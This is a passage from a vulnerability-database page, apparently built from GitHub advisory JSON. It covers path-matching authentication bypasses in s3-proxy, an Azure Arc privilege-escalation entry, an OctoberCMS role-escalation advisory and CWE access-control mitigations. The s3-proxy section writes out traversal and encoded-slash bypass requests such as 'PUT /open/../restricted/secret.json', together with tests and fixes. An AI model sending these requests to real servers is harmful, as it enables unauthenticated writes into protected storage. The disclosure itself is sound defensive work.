a single token by `*`.\n\n#### Option B \u2014 Use the raw path in both auth and key construction\n\nKeep `r.URL.RequestURI()` in the auth middleware (reverting the Option A change)\nand replace the bucket handler\u0027s decoded path extraction with `r.URL.EscapedPath()`\nstripped of the mount path prefix. The AWS SDK then handles percent-encoding the\nkey in the HTTP request to S3, with no manual segment splitting required.\n\nThis keeps `%2F` opaque at both layers: auth matches against the encoded form, and\nthe S3 key preserves the encoded characters verbatim.\n\n**Security mechanism:** the bypass attack (`PUT /upload/foo%2Frestricted/drafts/`)\nstill returns **204** \u2014 the open route genuinely matches, because\n`foo%2Frestricted` is one encoded segment and `*` accepts it. However, the key\nwritten to S3 is `upload/foo%2Frestricted/drafts/\u2026` \u2014 a distinct namespace from\n`upload/foo/restricted/drafts/\u2026`. The attacker cannot reach the protected prefix\nbecause `%2F` and `/` are treated as different characters all the way to storage.\n\n**AWS S3 compatibility confirmed:** S3 natively supports `%2F` in key names. A\nkey `upload/foo%2Fbar/file.txt` is stored and retrieved as a distinct object from\n`upload/foo/bar/file.txt`. All four operations (HEAD, GET, PUT, DELETE) work\ncorrectly with `%2F`-containing paths.\n\n**Pros:** RFC-compliant; `%2F` remains a meaningful encoding \u2014 `foo%2Fbar` is one\ntoken and `*` correctly matches it as a single segment; `/foo%2Fbar/baz` and\n`/foo/bar/baz` are distinct at both auth and storage layers; simpler than it\nsounds \u2014 no custom segment-splitting utility needed, just `r.URL.EscapedPath()` in\nthe handler.\nThe breaking change is **contained to config files, not clients**: the only clients that break\nare those relying on `*` crossing literal `/` \u2014 and those require a config change\nto `**` under any fix option. Clients that encode user input containing `/` as\n`%2F` in a path segment are preserved: `foo%2Fbar` is still one encoded segment,\nand `*` still matches it. Under Option A those same clients break \u2014 the decoded\nform splits into multiple segments that no longer match `*`. The required\nclient-side fix would be to filter or transform any `/` out of user input before\nbuilding the URL, which may not always be feasible if the `/` carries meaning.\n\n**Cons:** The auth middleware reverts to using the encoded path, which re-opens\nthe door to dot-segment bypass (Issue 3) if the path-cleaning middleware is not\nalso in place \u2014 the two fixes must be applied together.\n\nA note on the 204 response: a request like `PUT /upload/foo%2Frestricted/drafts/`\nreturns 204 under this option, which may look like a bypass at first glance. It is\nnot. If `%2F` carries meaning, `foo%2Frestricted` is a valid identifier\nindistinguishable from any other \u2014 the server has no basis to treat it as\nsuspicious. The correct security responsibility is to handle all inputs\nconsistently and safely, not to guess intent based on the content of user-provided\nvalues. The namespace separation guarantee satisfies that: whatever the client\nsends is handled the same way at both the auth and storage layers.\n\n#### Option C \u2014 Reject requests containing `%2F` in the path\n\nReturn 400 Bad Request for any request whose raw path contains `%2F`:\n\n```go\nif strings.Contains(r.URL.RawPath, \"%2F\") || strings.Contains(r.URL.RawPath, \"%2f\") {\n    http.Error(w, \"Bad Request\", http.StatusBadRequest)\n    return\n}\n```\n\n**Pros:** Simplest possible enforcement; eliminates the ambiguity entirely.\n\n**Cons:** Breaks any client that sends object names containing `/` encoded as\n`%2F`; rules out a legitimate and RFC-sanctioned use of percent-encoding.\n\n---\n\n## Issue 3 \u2014 Dot-dot segments bypass authentication with prefix patterns\n\n### Background\n\nIssues 1 and 2 both involve `*` (single-segment wildcard). A different class of\nbypass survives Fix 1 and Fix 2 when configs use prefix-style patterns with `**`\nat the end, such as `/open/**`. This is a natural and common pattern for \"allow\neverything under this prefix.\" The `**` token is explicitly designed to cross `/`,\nso `..` traversal within that prefix still reaches protected paths.\n\nNote that `%2F..%2F` encoded traversal is a variant of this issue: the decoded\nform (`/../`) contains dot segments that `**` can consume, as described in the\nroot cause section.\n\n### Example\n\nConsider this config:\n\n```yaml\nresources:\n  # protected \u2014 basic auth required for anything under /restricted/\n  - path: /restricted/**\n    methods: [PUT]\n    basic:\n      ...\n\n  # open \u2014 no auth required for anything under /open/\n  - path: /open/**\n    methods: [PUT]\n    whiteList: true\n```\n\nWithout any path normalization, the following request bypasses auth:\n\n```\nPUT /open/../restricted/secret.json\n```\n\nStep by step:\n\n1. Go\u0027s `net/url` resolves dot segments when parsing the request URI: `r.URL.Path`\n   is `/restricted/secret.json`. The raw form `../` is preserved only in\n   `r.URL.RawPath`.\n2. The auth middleware calls `r.URL.RequestURI()`, which returns the encoded\n   form \u2014 `/open/../restricted/secret.json` \u2014 and evaluates resources against that.\n3. `/restricted/**` does not match because the raw path does not start with `/restricted/`.\n4. `/open/**` matches: `**` is allowed to cross `/`, so it consumes `../restricted/secret.json`.\n5. The open route fires \u2014 no auth required \u2014 the request returns 204.\n6. The bucket handler reads `r.URL.Path` \u2014 already `/restricted/secret.json` \u2014 and\n   writes the file directly into the restricted namespace.\n\n**Confirmed against AWS S3**: the file lands at `restricted/secret.json` \u2014 not at\na key containing `../`. Go resolves the dot segments before the bucket handler runs,\nso the write goes straight into the protected prefix. This makes the attack more\nsevere than a key-naming anomaly: it is a direct, confirmed write into the\nrestricted namespace with no authentication.\n\n### Proof via integration test\n\nI added `TestPathTraversalDoubleStarPrefix` to\n`pkg/s3-proxy/server/server_integration_test.go`. It uses the exact config above\nand shows that, with a path-cleaning middleware applied **before** the auth\nmiddleware, the traversal returns 401 instead of 204:\n\n```go\n{\n    // /open/** still matches /open/../restricted/file because ** crosses \u0027/\u0027.\n    // cleanPathMiddleware resolves the path to /restricted/file first, which\n    // matches the protected resource -\u003e 401.\n    // Without cleanPathMiddleware this would return 204 (auth bypassed).\n    name:         \"traversal from open to restricted via ** prefix pattern is blocked\",\n    inputMethod:  \"PUT\",\n    inputURL:     \"http://localhost/open/../restricted/file.txt\",\n    expectedCode: 401,\n},\n```\n\n### Note on `%2E` (percent-encoded dots)\n\nGo\u0027s `net/http` decodes `%2E` \u2192 `.` in `r.URL.Path` before any middleware runs,\nso `%2E%2E` arrives as `..` by the time any of the options below apply. All options\noperate on the already-decoded `r.URL.Path` and therefore handle encoded dots\nwithout any extra work.\n\n### Fix discussion\n\nAll options below address the same root problem: `r.URL.RequestURI()` preserves\ndot segments while `r.URL.Path` has already resolved them, and auth sees the\nun-resolved form. The options differ in where the resolution happens and how\ninvasive the change is.\n\n#### Option A \u2014 Reject requests containing dot segments\n\nReject (400 Bad Request) any request whose decoded path contains `/./` or `/../`:\n\n```go\nfunc rejectDotSegmentsMiddleware(next http.Handler) http.Handler {\n    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n        p := r.URL.Path\n        if strings.Contains(p, \"/./\") || strings.Contains(p, \"/../\") ||\n            strings.HasSuffix(p, \"/.\") || strings.HasSuffix(p, \"/..\") {\n            http.Error(w, \"Bad Request\", http.StatusBadRequest)\n            return\n        }\n        next.ServeHTTP(w, r)\n    })\n}\n```\n\n**Pros:** Simple, explicit, no normalization side-effects.  \n**Cons:** Rejects requests that some clients may legitimately send (though dot\nsegments in HTTP paths are unusual and ill-advised).\n\n#### Option B \u2014 Use `path.Clean`\n\n```go\nfunc cleanPathMiddleware(next http.Handler) http.Handler {\n    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n        p := r.URL.Path\n        cleaned := path.Clean(p)\n        if cleaned != p {\n            r2 := r.Clone(r.Context())\n            r2.URL.Path = cleaned\n            r2.URL.RawPath = \"\"\n            next.ServeHTTP(w, r2)\n            return\n        }\n        next.ServeHTTP(w, r)\n    })\n}\n```\n\n`path.Clean` resolves `..` and `.`, collapses double slashes, and also removes\nthe trailing slash. The trailing-slash removal is a breaking change for any config\nthat uses paths ending in `/` \u2014 resource patterns, mount paths, or anything else\nmatched against the incoming path. A request to `/upload/foo/drafts/` would be\ncleaned to `/upload/foo/drafts`, and any pattern or handler that expects the\ntrailing slash would no longer match.\n\nThis can be mitigated by restoring the trailing slash after cleaning:\n\n```go\nif len(p) \u003e 1 \u0026\u0026 p[len(p)-1] == \u0027/\u0027 {\n    cleaned += \"/\"\n}\n```\n\n**Implementation note:** An approach that stores the cleaned path in the request\ncontext rather than modifying `r.URL.Path` and clearing `r.URL.RawPath` will not\nwork: both the auth middleware and the bucket handler read from `r.URL` directly,\nso a context-stored override is invisible to them.\n\n**Pros:** Uses the standard library; less custom code.  \n**Cons:** The trailing-slash removal is mitigable by restoring the trailing slash\nafter cleaning (as shown above), but it adds a correctness requirement to the\nmiddleware that is easy to overlook \u2014 omitting it silently breaks any config using\ntrailing-slash patterns, which is the default convention in s3-proxy examples and\ndocumentation.\n\n---\n\n## Interaction between Issue 2 and Issue 3 fixes\n\nThe choice made for Issue 2 affects the tradeoffs for Issue 3:\n\n- If **Option A** is chosen for Issue 2 (auth uses `r.URL.Path`), then dot segments\n  have already been resolved by Go before any middleware runs, so Issue 3 is\n  partially addressed without any additional middleware \u2014 but Option A\u0027s RFC\n  non-compliance tradeoff still applies.\n- If **Option B** is chosen for Issue 2 (raw path in both layers), the auth\n  middleware sees the encoded form, which still contains literal `../` dot segments.\n  Issue 3 is **not** addressed by Option B alone \u2014 one of the Issue 3 options must\n  also be applied. Importantly, whichever dot-segment option is chosen must clear\n  `r.URL.RawPath` when it modifies the path, so that `r.URL.EscapedPath()` in the\n  bucket handler reflects the cleaned path. This works naturally with both Issue 3\n  options (which operate on `r.URL.Path` and clear `RawPath`), and the fixes\n  compose cleanly in practice.\n- In all cases, an explicit dot-segment policy (reject or resolve) is clearer than\n  relying on Go\u0027s implicit resolution as a side-effect.\n\n---\n\n## Combined effect\n\n| Attack | Issue 1 fix | Issue 2 fix | Issue 3 fix |\n|---|---|---|---|\n| `*` crosses `/` (`/upload/*/drafts/` matches `../restricted/`) | Fixed | \u2014 | \u2014 |\n| `%2F` segment injection (`foo%2Frestricted/drafts/` bypasses `*/restricted/`) | No | Fixed | \u2014 |\n| `..` traversal via `**` prefix pattern (`/open/../restricted/`) | No | No | Fixed |\n| `%2F..%2F` encoded traversal (decoded `..` consumed by `**`) | No | Fixed* | Fixed |\n\n\\* Issue 2\u0027s fix (auth using decoded path, Option A) also prevents `%2F`-encoded\ndot segments from being treated as opaque tokens, so the decoded `..` is visible\nto the glob before matching.\n\n---\n\n## Suggested combination of fixes\n\n- **Issue 1:** Pass `\u0027/\u0027` as the separator to `glob.Compile`. Unambiguously correct; `*` should never have crossed `/`.\n- **Issue 2:** Option B \u2014 use the raw path (`r.URL.EscapedPath()`) in both the auth middleware and the bucket handler. This is the only option that avoids client-side breaking changes for operators whose clients encode user input containing `/` as `%2F`. The security guarantee is namespace separation, which is the right model: the server has no basis to distinguish a legitimate `%2F`-encoded identifier from one that \"looks like\" a traversal attempt, so consistent handling at both layers is the correct responsibility boundary.\n- **Issue 3:** Option B \u2014 `cleanPathMiddleware` using `path.Clean` with trailing slash restored. Required when using Issue 2 Option B, since auth still sees the raw path. The two fixes compose cleanly: the middleware modifies `r.URL.Path` and clears `r.URL.RawPath`, so `r.URL.EscapedPath()` in the bucket handler reflects the cleaned path.\n\nThe combined breaking change is limited to config files: operators need to replace `*` with `**` wherever multi-segment wildcard matching is intended. Client-facing URLs require no changes.\n\n---\n\n\n## Resources\n\n- `pkg/s3-proxy/authx/authentication/main.go` \u2014 `findResource`, the `glob.Compile` call\n- `pkg/s3-proxy/server/server_integration_test.go` \u2014 `TestPercentEncodedSlashBypass`, `TestPathTraversalDoubleStarPrefix`, `TestPathCleaning`\n- `github.com/gobwas/glob` \u2014 separator documentation\n- RFC 3986 \u00a72.2 \u2014 equivalence of percent-encoded reserved characters\n- RFC 3986 \u00a73.3 \u2014 path segment semantics\n- RFC 3986 \u00a75.2.4 \u2014 dot-segment resolution in URI paths",
  "id": "GHSA-rfgq-wgg8-662p",
  "modified": "2026-05-13T14:19:05Z",
  "published": "2026-05-05T18:52:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oxyno-zeta/s3-proxy/security/advisories/GHSA-rfgq-wgg8-662p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42882"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oxyno-zeta/s3-proxy/commit/1320e4abd46ad18c2851fedde50dbb79df8b7a51"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oxyno-zeta/s3-proxy/commit/af5ff57d8c6022459495b8fb50130073bca7b48a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oxyno-zeta/s3-proxy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "S3-Proxy has Security Issues in its Resource Path Matching Implementation"
}

GHSA-RFGW-M548-MW46

Vulnerability from github – Published: 2026-03-10 18:31 – Updated: 2026-03-10 18:31
VLAI
Details

Improper authentication in Azure Arc allows an authorized attacker to elevate privileges locally.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-26141"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-10T18:18:42Z",
    "severity": "HIGH"
  },
  "details": "Improper authentication in Azure Arc allows an authorized attacker to elevate privileges locally.",
  "id": "GHSA-rfgw-m548-mw46",
  "modified": "2026-03-10T18:31:21Z",
  "published": "2026-03-10T18:31:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26141"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26141"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RFJC-XRMF-5VVW

Vulnerability from github – Published: 2020-11-23 19:47 – Updated: 2021-11-19 13:40
VLAI
Summary
Privilege escalation by backend users assigned to the default "Publisher" system role
Details

Impact

Backend users with the default "Publisher" system role have access to create & manage users where they can choose which role the new user has. This means that a user with "Publisher" access has the ability to escalate their access to "Developer" access.

Patches

Issue has been patched in Build 470 (v1.0.470) & v1.1.1.

Workarounds

Apply https://github.com/octobercms/october/commit/78a37298a4ed4602b383522344a31e311402d829 to your installation manually if unable to upgrade to Build 470 or v1.1.1.

References

Reported by Hoan Hoang

For more information

If you have any questions or comments about this advisory: * Email us at hello@octobercms.com

Threat assessment:

Screen Shot 2020-10-10 at 1 37 25 PM

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "october/backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.319"
            },
            {
              "fixed": "1.0.470"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-15248"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-11-23T19:40:34Z",
    "nvd_published_at": "2020-11-23T20:15:00Z",
    "severity": "LOW"
  },
  "details": "### Impact\nBackend users with the default \"Publisher\" system role have access to create \u0026 manage users where they can choose which role the new user has. This means that a user with \"Publisher\" access has the ability to escalate their access to \"Developer\" access. \n\n### Patches\nIssue has been patched in Build 470 (v1.0.470) \u0026 v1.1.1.\n\n### Workarounds\nApply https://github.com/octobercms/october/commit/78a37298a4ed4602b383522344a31e311402d829 to your installation manually if unable to upgrade to Build 470 or v1.1.1.\n\n### References\nReported by [Hoan Hoang](https://github.com/hoanhp)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat assessment:\n\u003cimg width=\"1098\" alt=\"Screen Shot 2020-10-10 at 1 37 25 PM\" src=\"https://user-images.githubusercontent.com/7253840/95663611-e6326c80-0afd-11eb-8a1e-8b767a7202fb.png\"\u003e",
  "id": "GHSA-rfjc-xrmf-5vvw",
  "modified": "2021-11-19T13:40:25Z",
  "published": "2020-11-23T19:47:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/octobercms/october/security/advisories/GHSA-rfjc-xrmf-5vvw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15248"
    },
    {
      "type": "WEB",
      "url": "https://github.com/octobercms/october/commit/4c650bb775ab849e48202a4923bac93bd74f9982"
    },
    {
      "type": "WEB",
      "url": "https://github.com/octobercms/october/commit/78a37298a4ed4602b383522344a31e311402d829"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/octobercms/october"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Privilege escalation by backend users assigned to the default \"Publisher\" system role"
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.